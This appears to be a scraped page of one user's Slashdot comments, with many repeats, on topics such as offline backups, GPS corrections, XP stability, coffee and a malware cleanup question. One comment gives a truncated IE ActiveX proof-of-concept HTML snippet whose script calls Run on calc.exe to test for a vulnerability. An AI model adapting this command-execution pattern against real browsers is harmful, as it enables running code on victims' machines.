There is project TrackSource http://www.tracksource.org.br/ in Brazil (beware, page is in Portuguese), born out of frustration with limited coverage on Garmin's official maps.
While being volunteer-built and free as in beer, it is not open as in there's no source-code being re-distributed - by source-code I mean the actual data that is used to build the maps you upload to the devices. This limits the usability of the project for other applications.
Add that to the myriad of cubes I see here in the office in which people leave their *computers* on overnight (hibernate folks!) and turn off monitor powerdown and screensavers so that their pretty pretty desktop wallpaper is shown in all its glory, 24x7.
Actually, even if you hit the mask first, and only then cross your eyes, they still appear different. At least they did for me. Not sure what it means though.
For.net languages, FxCop does some of this checking, even understanding camel casing and underscores in tokens. And a bunch more, since it is a static code analysis tool.
Why not have it always as 24bit full dynamic range and leave the compression to the portable players? (if we're not there yet, one or two generations forward we'll have the capability to adjust that on demand)
Not completely on-topic but hey, it does not warrant a full "ask slashdot" and I've been struggling with this for a couple of days now...
I've been hit with win32.Perlovga.A on a secondary computer through an infected USB key. That machine had no anti-virus and autorun was at that time enabled (stupid). This particular crapware saves two EXE files (copy.exe and host.exe) and an autorun.inf that executes copy.exe to the root of each volume. When the infected USB key was plugged-in, it loaded the mallware.
I removed all instances of the mallware itself, all is clean and nice, except for:
There seems to be some rootkit left behind because if I extract those two EXE files from where I saved them, they don't show-up in the filesystem unless I boot in safe mode, although nothing gets loaded in memory at this point.
Rootkit Revealer does not show anything suspicious, and AutoRuns shows way too much information and nothing that strikes me as odd.
Anyone has more experience with this one? I will really like to understand what it had done...
Holly cow! Been doing this for a while now. I used to cone-drip my coffe, but since I usually drink it with milk, it would get a bit wattery from the water in the coffe. That's when I decided to boil the milk (whole) with the ground beans in it:)
Tiny differences: I don't add sugar while preparing it, I do it later on the mug (will try the variation next time though) and in order to keep the ground beans away from the mug, I pour it from the pan trough a fine metal mesh, fine enough to retain the grains but not to clog and prevent flow - like happened in the cone filter when I first tried it...:)
The code to test for the vulnerability, right from the Brazilian article about it linked on another post. Save it as an html file and browse it with IE.
Quick experience: measure yourself before you go to bed at night and as you get up after a long (say 7-8h) night of sleep. You'll gain as much as 5cm (~2in) just from that.
There's something to do with your spinal cord re-absoving liquids and such, it's not just the spacing between bones there, the bones to "grow" overnight - but loose liquid during the day so you're shorter again the next evening.
Of course the expectations should be high. While 98 and Me were pure crap, XP Pro is very robust. My home machine goes months without a reboot - except when a patch demands it, and the work computer goes from monday to friday just the same.
Overall I think a well-kept XP box is very stable indeed, and I'm not expecting a bit less than that from Vista.
OP was asking for *more* sites. Those corrections are only valid in a range of a few tens of Km around the site where they originate from.
But, as someone else said, WAAS is much simpler to implement so I don't really have much of a problem with this - altough one could arguee that the two systems complement each other, which I'm not sure is the case, but...
xcopy won't remove deleted files, though that may be viewed as a plus for a backup. However, if you rename files or folders you endup with duplicates on the backup media.
Learn to use rsync, you only need the client for a local backup and it runs under XP with only cygwin.dll (no need for the full cygwin setup). Setup a one-way mirror, so that deletions and renames are propagated.
Been doing that for quite a few years now. For each machine in my home network I perform a rsync backup in two phases: first "pass" backups to a separate backup volume on the same machine. The second "pass" backups to a backup share on an external USB HD that I take off-site for protection against burglary, natural disasters or plain old Murphy.
(remember to have backups stores offsite kids! Think of Katrina and 9/11...)
Best option? Setup a RAID5 fileserver on your home and store all your important stuff there, do not thrust local hard-drives. Then, make sure you have tape backup on that fileserver (tapes are still cheaper per GB than DVD). Backup as often as you like (maybe once a week or once a month, no less than that) and store the backups offsite - what good are the tapes in case of a fire or burglary if you left them beside the computer?
Keep the disks in teh fileserver "fresh", replace them every few (five?) years. Do the same but more often with the backup tapes.
Every now and then prepare a "survival pack" with a tape backup, DVDs and perhaps printed copies of instructions and the more important documents. Store this on a safe with your will, so it will be found once your gone.
Slashdot Mirror
And how that is Microsoft's problem? ;)
...
No, seriously
There is project TrackSource http://www.tracksource.org.br/ in Brazil (beware, page is in Portuguese), born out of frustration with limited coverage on Garmin's official maps.
While being volunteer-built and free as in beer, it is not open as in there's no source-code being re-distributed - by source-code I mean the actual data that is used to build the maps you upload to the devices. This limits the usability of the project for other applications.
Cool, nonetheless.
Regards,
K.
Voight-Kampff for short,
You insensitive cloud!
Insightful? Are you mods on crack? Is not fossil fuels we're running out off, it's sense of humor ...
Add that to the myriad of cubes I see here in the office in which people leave their *computers* on overnight (hibernate folks!) and turn off monitor powerdown and screensavers so that their pretty pretty desktop wallpaper is shown in all its glory, 24x7.
:(
Drive me nuts
I was intrigued by your comments so I went checking ...
It appears the port is more or less done. YMMV, I'm not a linux/mono guy and haven't checked in depth
http://tirania.org/blog/archive/2007/May-15-1.html
Actually, even if you hit the mask first, and only then cross your eyes, they still appear different. At least they did for me. Not sure what it means though.
Awesome, thanks for sharing the photos of your setup!
For .net languages, FxCop does some of this checking, even understanding camel casing and underscores in tokens. And a bunch more, since it is a static code analysis tool.
http://www.gotdotnet.com/Team/FxCop/
Just downloaded it to try it out and nothing happens when I press the keys.
I got version "4.2.0181.2634 (beta)"
What's up?
Why not have it always as 24bit full dynamic range and leave the compression to the portable players? (if we're not there yet, one or two generations forward we'll have the capability to adjust that on demand)
Awesome!
;)
I haven't realized that the UBCD full comes with INSERT. Will try it out later today, thanks for the tip
Not completely on-topic but hey, it does not warrant a full "ask slashdot" and I've been struggling with this for a couple of days now ...
...
I've been hit with win32.Perlovga.A on a secondary computer through an infected USB key. That machine had no anti-virus and autorun was at that time enabled (stupid). This particular crapware saves two EXE files (copy.exe and host.exe) and an autorun.inf that executes copy.exe to the root of each volume. When the infected USB key was plugged-in, it loaded the mallware.
I removed all instances of the mallware itself, all is clean and nice, except for:
There seems to be some rootkit left behind because if I extract those two EXE files from where I saved them, they don't show-up in the filesystem unless I boot in safe mode, although nothing gets loaded in memory at this point.
Rootkit Revealer does not show anything suspicious, and AutoRuns shows way too much information and nothing that strikes me as odd.
Anyone has more experience with this one? I will really like to understand what it had done
Cheers!
k
What? No mention of the reactable? Not sure which research predates which, but the reactable sure is way cool as is :)
Holly cow! Been doing this for a while now. I used to cone-drip my coffe, but since I usually drink it with milk, it would get a bit wattery from the water in the coffe. That's when I decided to boil the milk (whole) with the ground beans in it
Tiny differences: I don't add sugar while preparing it, I do it later on the mug (will try the variation next time though) and in order to keep the ground beans away from the mug, I pour it from the pan trough a fine metal mesh, fine enough to retain the grains but not to clog and prevent flow - like happened in the cone filter when I first tried it
My flashlight achieves orders of magnitude higher frequencies in a snap!
The code to test for the vulnerability, right from the Brazilian article about it linked on another post. Save it as an html file and browse it with IE.
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<html>
<body>
<object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3
</object>
<script>
hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
</script>
</html>
</body>
Quick experience: measure yourself before you go to bed at night and as you get up after a long (say 7-8h) night of sleep. You'll gain as much as 5cm (~2in) just from that.
There's something to do with your spinal cord re-absoving liquids and such, it's not just the spacing between bones there, the bones to "grow" overnight - but loose liquid during the day so you're shorter again the next evening.
I'm sure there's a Futurama joke somewhere ...
Of course the expectations should be high. While 98 and Me were pure crap, XP Pro is very robust. My home machine goes months without a reboot - except when a patch demands it, and the work computer goes from monday to friday just the same.
...
Overall I think a well-kept XP box is very stable indeed, and I'm not expecting a bit less than that from Vista.
just my 0.03(*)
(*) adjusted for inflation
OP was asking for *more* sites. Those corrections are only valid in a range of a few tens of Km around the site where they originate from.
...
But, as someone else said, WAAS is much simpler to implement so I don't really have much of a problem with this - altough one could arguee that the two systems complement each other, which I'm not sure is the case, but
xcopy won't remove deleted files, though that may be viewed as a plus for a backup. However, if you rename files or folders you endup with duplicates on the backup media.
...)
Learn to use rsync, you only need the client for a local backup and it runs under XP with only cygwin.dll (no need for the full cygwin setup). Setup a one-way mirror, so that deletions and renames are propagated.
Been doing that for quite a few years now. For each machine in my home network I perform a rsync backup in two phases: first "pass" backups to a separate backup volume on the same machine. The second "pass" backups to a backup share on an external USB HD that I take off-site for protection against burglary, natural disasters or plain old Murphy.
(remember to have backups stores offsite kids! Think of Katrina and 9/11
Video Lan client
Best option? Setup a RAID5 fileserver on your home and store all your important stuff there, do not thrust local hard-drives. Then, make sure you have tape backup on that fileserver (tapes are still cheaper per GB than DVD). Backup as often as you like (maybe once a week or once a month, no less than that) and store the backups offsite - what good are the tapes in case of a fire or burglary if you left them beside the computer?
Keep the disks in teh fileserver "fresh", replace them every few (five?) years. Do the same but more often with the backup tapes.
Every now and then prepare a "survival pack" with a tape backup, DVDs and perhaps printed copies of instructions and the more important documents. Store this on a safe with your will, so it will be found once your gone.
Don't forget that's IBM that is winning, linux is hitching a ride here.
If this was happening to a smaller company, maybe it wouldn't have the funds to defend itself and would be gone bankrupt by now.
The threat is still strong.